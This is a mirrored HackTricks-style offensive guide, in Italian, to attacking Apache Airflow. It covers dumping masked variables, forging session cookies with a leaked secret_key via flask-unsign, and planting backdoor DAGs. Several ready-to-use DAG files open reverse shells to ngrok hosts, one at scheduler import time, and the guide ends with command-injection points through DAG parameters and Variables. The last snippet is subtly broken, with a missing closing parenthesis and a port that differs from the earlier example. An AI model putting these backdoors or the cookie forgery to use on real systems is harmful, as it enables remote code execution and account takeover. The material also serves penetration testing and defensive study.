mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 23:39:52 -08:00
166 lines
7.7 KiB
Markdown
166 lines
7.7 KiB
Markdown
# Sicurezza di Apache Airflow
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
### Informazioni di Base
|
|
|
|
[**Apache Airflow**](https://airflow.apache.org) funge da piattaforma per **l'orchestrazione e la pianificazione di pipeline di dati o flussi di lavoro**. Il termine "orchestrazione" nel contesto delle pipeline di dati indica il processo di organizzazione, coordinamento e gestione di flussi di lavoro complessi di dati provenienti da varie fonti. Lo scopo principale di queste pipeline di dati orchestrate è fornire set di dati elaborati e utilizzabili. Questi set di dati sono ampiamente utilizzati da una miriade di applicazioni, tra cui, ma non solo, strumenti di business intelligence, modelli di data science e machine learning, tutti fondamentali per il funzionamento delle applicazioni di big data.
|
|
|
|
Fondamentalmente, Apache Airflow ti permetterà di **pianificare l'esecuzione di codice quando qualcosa** (evento, cron) **accade**.
|
|
|
|
### Laboratorio Locale
|
|
|
|
#### Docker-Compose
|
|
|
|
Puoi utilizzare il **file di configurazione docker-compose da** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) per avviare un ambiente docker completo di apache airflow. (Se sei su MacOS assicurati di dare almeno 6GB di RAM alla VM docker).
|
|
|
|
#### Minikube
|
|
|
|
Un modo semplice per **eseguire apache airflow** è farlo **con minikube**:
|
|
```bash
|
|
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
|
helm repo update
|
|
helm install airflow-release airflow-stable/airflow
|
|
# Some information about how to aceess the web console will appear after this command
|
|
|
|
# Use this command to delete it
|
|
helm delete airflow-release
|
|
```
|
|
### Configurazione di Airflow
|
|
|
|
Airflow potrebbe memorizzare **informazioni sensibili** nella sua configurazione o potresti trovare configurazioni deboli in atto:
|
|
|
|
{{#ref}}
|
|
airflow-configuration.md
|
|
{{#endref}}
|
|
|
|
### Airflow RBAC
|
|
|
|
Prima di iniziare ad attaccare Airflow, dovresti comprendere **come funzionano i permessi**:
|
|
|
|
{{#ref}}
|
|
airflow-rbac.md
|
|
{{#endref}}
|
|
|
|
### Attacchi
|
|
|
|
#### Enumerazione della Console Web
|
|
|
|
Se hai **accesso alla console web**, potresti essere in grado di accedere ad alcune o a tutte le seguenti informazioni:
|
|
|
|
- **Variabili** (Informazioni sensibili personalizzate potrebbero essere memorizzate qui)
|
|
- **Connessioni** (Informazioni sensibili personalizzate potrebbero essere memorizzate qui)
|
|
- Accedile in `http://<airflow>/connection/list/`
|
|
- [**Configurazione**](./#airflow-configuration) (Informazioni sensibili come il **`secret_key`** e le password potrebbero essere memorizzate qui)
|
|
- Elenca **utenti e ruoli**
|
|
- **Codice di ogni DAG** (che potrebbe contenere informazioni interessanti)
|
|
|
|
#### Recupero dei Valori delle Variabili
|
|
|
|
Le variabili possono essere memorizzate in Airflow in modo che i **DAG** possano **accedere** ai loro valori. È simile ai segreti di altre piattaforme. Se hai **sufficienti permessi**, puoi accedervi nell'interfaccia grafica in `http://<airflow>/variable/list/`.\
|
|
Airflow per impostazione predefinita mostrerà il valore della variabile nell'interfaccia grafica, tuttavia, secondo [**questo**](https://marclamberti.com/blog/variables-with-apache-airflow/), è possibile impostare un **elenco di variabili** il cui **valore** apparirà come **asterischi** nell'**interfaccia grafica**.
|
|
|
|
.png>)
|
|
|
|
Tuttavia, questi **valori** possono ancora essere **recuperati** tramite **CLI** (è necessario avere accesso al DB), **esecuzione di DAG** arbitrari, **API** per accedere all'endpoint delle variabili (l'API deve essere attivata) e **anche l'interfaccia grafica stessa!**\
|
|
Per accedere a quei valori dall'interfaccia grafica, basta **selezionare le variabili** che desideri accedere e **cliccare su Azioni -> Esporta**.\
|
|
Un altro modo è eseguire un **bruteforce** sul **valore nascosto** utilizzando il **filtro di ricerca** fino a ottenerlo:
|
|
|
|
.png>)
|
|
|
|
#### Escalation dei Privilegi
|
|
|
|
Se la configurazione **`expose_config`** è impostata su **True**, dal **ruolo Utente** e **superiore** possono **leggere** la **configurazione nel web**. In questa configurazione, appare il **`secret_key`**, il che significa che qualsiasi utente con questo valido può **creare il proprio cookie firmato per impersonare qualsiasi altro account utente**.
|
|
```bash
|
|
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
|
```
|
|
#### DAG Backdoor (RCE in Airflow worker)
|
|
|
|
Se hai **accesso in scrittura** al luogo dove i **DAG vengono salvati**, puoi semplicemente **crearne uno** che ti invierà una **reverse shell.**\
|
|
Nota che questa reverse shell verrà eseguita all'interno di un **contenitore worker di airflow**:
|
|
```python
|
|
import pendulum
|
|
from airflow import DAG
|
|
from airflow.operators.bash import BashOperator
|
|
|
|
with DAG(
|
|
dag_id='rev_shell_bash',
|
|
schedule_interval='0 0 * * *',
|
|
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
|
) as dag:
|
|
run = BashOperator(
|
|
task_id='run',
|
|
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
|
)
|
|
```
|
|
|
|
```python
|
|
import pendulum, socket, os, pty
|
|
from airflow import DAG
|
|
from airflow.operators.python import PythonOperator
|
|
|
|
def rs(rhost, port):
|
|
s = socket.socket()
|
|
s.connect((rhost, port))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn("/bin/sh")
|
|
|
|
with DAG(
|
|
dag_id='rev_shell_python',
|
|
schedule_interval='0 0 * * *',
|
|
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
|
) as dag:
|
|
run = PythonOperator(
|
|
task_id='rs_python',
|
|
python_callable=rs,
|
|
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
|
)
|
|
```
|
|
#### DAG Backdoor (RCE nel scheduler di Airflow)
|
|
|
|
Se imposti qualcosa per essere **eseguito nella radice del codice**, al momento della scrittura di questo documento, verrà **eseguito dallo scheduler** dopo un paio di secondi dalla sua collocazione nella cartella del DAG.
|
|
```python
|
|
import pendulum, socket, os, pty
|
|
from airflow import DAG
|
|
from airflow.operators.python import PythonOperator
|
|
|
|
def rs(rhost, port):
|
|
s = socket.socket()
|
|
s.connect((rhost, port))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn("/bin/sh")
|
|
|
|
rs("2.tcp.ngrok.io", 14403)
|
|
|
|
with DAG(
|
|
dag_id='rev_shell_python2',
|
|
schedule_interval='0 0 * * *',
|
|
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
|
) as dag:
|
|
run = PythonOperator(
|
|
task_id='rs_python2',
|
|
python_callable=rs,
|
|
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
|
```
|
|
#### Creazione di DAG
|
|
|
|
Se riesci a **compromettere una macchina all'interno del cluster DAG**, puoi creare nuovi **script DAG** nella cartella `dags/` e verranno **replicati nel resto delle macchine** all'interno del cluster DAG.
|
|
|
|
#### Iniezione di Codice DAG
|
|
|
|
Quando esegui un DAG dalla GUI puoi **passare argomenti** ad esso.\
|
|
Pertanto, se il DAG non è codificato correttamente potrebbe essere **vulnerabile all'Iniezione di Comandi.**\
|
|
Questo è ciò che è accaduto in questo CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
|
|
|
Tutto ciò che devi sapere per **iniziare a cercare iniezioni di comandi nei DAG** è che i **parametri** sono **accessibili** con il codice **`dag_run.conf.get("param_name")`**.
|
|
|
|
Inoltre, la stessa vulnerabilità potrebbe verificarsi con **variabili** (nota che con privilegi sufficienti potresti **controllare il valore delle variabili** nella GUI). Le variabili sono **accessibili con**:
|
|
```python
|
|
from airflow.models import Variable
|
|
[...]
|
|
foo = Variable.get("foo")
|
|
```
|
|
Se vengono utilizzati, ad esempio, all'interno di un comando bash, è possibile eseguire un'iniezione di comandi.
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|